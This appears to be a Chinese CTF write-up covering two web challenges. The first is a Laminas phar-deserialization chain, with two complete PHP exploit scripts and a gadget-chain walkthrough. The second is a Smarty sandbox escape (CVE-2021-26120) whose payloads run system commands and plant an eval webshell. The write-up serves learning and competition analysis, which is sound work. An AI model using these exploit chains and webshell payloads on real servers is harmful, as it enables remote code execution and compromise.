Fan website 
直接有www.zip源码泄露,然后题目是关于laminas的,所以直接搜索laminas cve,就可以发现存在反序列化漏洞,但是我没找到反序列化触发的点
 
然后可以发现存在文件上传的点
并且还存在删除文件的点,那么就可以使用phar协议了,在百度的时候发现phar协议在unlink函数中也是可以执行的
所以直接开干
laminas cve之前没有遇到过,但是网上很多师傅都写了poc,就直接跟着其中某一个走了
但是写完exp之后发现,在文件上传的控制器里面存在过滤
php可以直接去掉,而后面的关键字可以利用gzip压缩绕过(感谢姜少!
网上的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php namespace  Laminas \View \Renderer ;    use  Laminas \Config \Config ;     class  PhpRenderer   {         public  function  __construct ( ) {             $res  = '' ;             for ($i  = 0 ;$i  < 1000000 ;$i ++){                 $res  .= 'ameuuameuuameuua' ;             }             $this ->__content = $res ;             $this ->__helpers = new  Config([]);         }     } namespace  Laminas \Config ;    class  Config   {         public  function  __construct ( ) {             $this ->data = ['shutdown' =>'phpinfo' ];         }     } namespace  Laminas \Log ;    use  Laminas \View \Renderer \PhpRenderer ;     use  Phar ;     class  Logger   {         public  function  __construct ( )          {            $this ->writers = [new  PhpRenderer()];         }     } $a  = new  Logger();$phar  = new  Phar("test.phar" ); $phar ->startBuffering();$phar ->setStub("GIF89a" .'__HALT_COMPILER();' ); $phar ->setMetadata($a ); $phar ->addFromString("exp.txt" , "test" ); $phar ->stopBuffering();
 
直接上传,然后删除的时候用phar协议
Mrkaixin 师傅的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php namespace  Laminas \View \Resolver {    class  TemplateMapResolver {         protected  $map  = ["setBody "=>"system "];     } } namespace  Laminas \View \Renderer {    class  PhpRenderer {         function  __construct (){             $res  = '';             for ($i  = 0 ;$i  < 1000000 ;$i ++){                 $res  .= 'ameuuameuuameuua' ;             }             $this ->__content = $res ;             $this ->__helpers = new  \Laminas\View\Resolver\TemplateMapResolver();         }     } } namespace  Laminas \Log \Writer {    abstract  class  AbstractWriter {}     class  Mail  {         protected  $eventsToMail  = ["cat  /flag "];           protected  $subjectPrependText  = null ;         protected  $mail ;         function  __construct ( ) {             $this ->mail = new  \Laminas\View\Renderer\PhpRenderer();         }     } } namespace  Laminas \Log {    class  Logger {         protected  $writers ;         function  __construct ( ) {             $this ->writers = [new  \Laminas\Log\Writer\Mail()];         }     } } namespace  {use  Laminas \Log \Logger ;$a  = new  Logger();$phar  = new  Phar("a.phar" ); $phar ->startBuffering();$phar ->setStub("GIF89a" .'__HALT_COMPILER();' ); $phar ->setMetadata($a ); $phar ->addFromString("exp.txt" , "test" ); $phar ->stopBuffering();} 
 
赛后思考 因为当时是直接用别的师傅的poc打的,只是大概地走了一遍防止poc不一致,所以现在再来仔细走一遍,试着能不能自己挖出一条(?
0x01:Logger-destruct开始 
首先要找链子的入口,一般会从__construct或者__destruct开始,而Logger类里面的__destrcut存在我们可以控制的值
1 2 3 4 5 6 7 8 9 public  function  __destruct ( )     {        foreach  ($this ->writers as  $writer ) {             try  {                 $writer ->shutdown();             } catch  (\Exception  $e ) {             }         }     } 
 
在这里,会调用一个shutdown方法,所以很容易就能想到可能会触发__call魔术方法,然后可以去全局搜索__call
可以在PhpRenderer发现限制比较少,并且还存在call_user_func_array函数,直接跟一下
1 2 3 4 5 6 7 8 9 10 public  function  __call ($method , $argv  )     {        $plugin  = $this ->plugin($method );         if  (is_callable($plugin )) {             return  call_user_func_array($plugin , $argv );         }         return  $plugin ;     } 
 
plugin方法
1 2 3 4 public  function  plugin ($name , array  $options  = null  )     {        return  $this ->getHelperPluginManager()->get($name , $options );     } 
 
跟踪getHelperPluginManager()方法,直接返回了$this->__helpers,显而易见这个属性是我们可以完全控制的
1 2 3 4 5 6 7 public  function  getHelperPluginManager ( )     {        if  (null  === $this ->__helpers) {             $this ->setHelperPluginManager(new  HelperPluginManager(new  ServiceManager()));         }         return  $this ->__helpers;     } 
 
那再回去看plugin方法,发现要调用所返回的方法里面的get方法,那么可以继续去找哪里存在我们可以利用的get方法
Config-get,直接返回$this->data['shutdown']的值,也是我们可以控制的,就比如我们初始化$this->data['shutdown'] = 'phpinfo',这样会将phpinfo一直返回到call_user_func_array($plugin, $argv);,而因为shutdown方法并没有参数,所以就会直接执行phpinfo();
1 2 3 4 5 6 7 8 public  function  get ($name , $default  = null  ) {    if  (array_key_exists($name , $this ->data)) {         return  $this ->data[$name ];     }     return  $default ; } 
 
但是就像我说的限制一样,这里不能传入参数,只能执行某一个方法,所以不能用PhpRenderer的__call,得再找找,但是找到的__call方法要么是直接返回一个名字,要么限制过多
再返回到Logger,突然想到那么直接找shutdown方法呢
只有Mail方法好像可以用,审计一下吧!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public  function  shutdown ( ) {              if  (empty ($this ->eventsToMail)) {         return ;     }     if  ($this ->subjectPrependText !== null ) {                           $numEntries  = $this ->getFormattedNumEntriesPerPriority();         $this ->mail->setSubject("{$this->subjectPrependText}  ({$numEntries} )" );     }          $this ->mail->setBody(implode(PHP_EOL, $this ->eventsToMail));                    try  {         $this ->transport->send($this ->mail);     } catch  (TransportException\ExceptionInterface $e ) {         trigger_error(             "unable to send log entries via email; "  .             "message = {$e->getMessage()} ; "  .             "code = {$e->getCode()} ; "  .             "exception class = "  . get_class($e ),             E_USER_WARNING         );     } } 
 
1.首先要求$this->eventsToMail不为空
2.getFormattedNumEntriesPerPriority()方法是将$this->numEntriesPerPriority 数组转成字符串并返回字符串,而搜索了一下发现没有可用的setSubject方法,所以可以直接给$this->subjectPrependText 赋值为null
3.可以找一下有没有可以利用的setBody,但是找了一圈不在,那又又又想到了__call方法,因为这次我们可以传入我们可控的参数,所以又想到了PhpRenderer的__call方法,然后再用Config里面的get方法,初始化$this->data['setBody'] = 'system',然后只要我们通过修改$this->eventsToMail的值来进行命令执行就好了
0x02:Stream-destruct开始 
在用别的师傅的poc之前,因为最开始看的cve说是从Stream的__destruct方法开始的,然后百度和这个题目给的不大一样,原来的if判断只判断了$this->cleanup是否为空,导致再unlink的时候触发toString方法,但是其实这里的file_exits也能触发toString方法
1 2 3 4 5 6 7 8 9 10 11 public  function  __destruct ( )     {        if  (is_resource($this ->stream)) {             $this ->stream = null ;          }         if  ($this ->cleanup && is_string($this ->streamName) && file_exists($this ->streamName)) {             ErrorHandler::start(E_WARNING);             unlink($this ->streamName);             ErrorHandler::stop();         }     } 
 
所以之后找一下有没有可以利用的toString方法,然而并没有(😅
Smarty_Calculator 
Smarty沙箱绕过 
CVE-2021-26119 
CVE-2021-29454 
 
复现捏
 
前置知识 CVE - CVE-2021-26119 (mitre.org) 
CVE-2021-26119 PHP Smarty 模版沙箱逃逸远程代码执行漏洞 - sukusec不觉水流 - 博客园 (cnblogs.com) 
复现 www.zip泄露
index.php,会先判断Cookie,检测·是否登录,并且过滤了php|<|flag|?,之后直接调用Smarty#display,将data传进去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function  waf ($data  ) {  $pattern  = "php|\<|flag|\?" ;   $vpattern  = explode("|" , $pattern );   foreach  ($vpattern  as  $value ) {         if  (preg_match("/$value /" , $data )) { 		  echo ("<div style='width:100%;text-align:center'><h5>Calculator don  not like U<h5><br>" );           die ();         }     }     return  $data ; } if (isset ($_POST ['data' ])){  if (isset ($_COOKIE ['login' ])) {       $data  = waf($_POST ['data' ]);       echo  "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>" ;       $smarty ->display("string:"  . $data );   }else {       echo  "<script>alert(\"你还没有登录\")</script>" ;   } } 
 
PHP Smarty模版代码注入漏洞(CVE-2021-26120)-启明星辰 (venustech.com.cn) 
payload:
1 {function+name='rce(){};system("id");function%0A%0A'}{/function} 
 
但是不能路径穿越
可以写入一句话
payload:
1 2 3 {function+name='rce(){};eval($_POST["1"]);function%0A%0A'}{/function} ?1=system('cat%20/flag');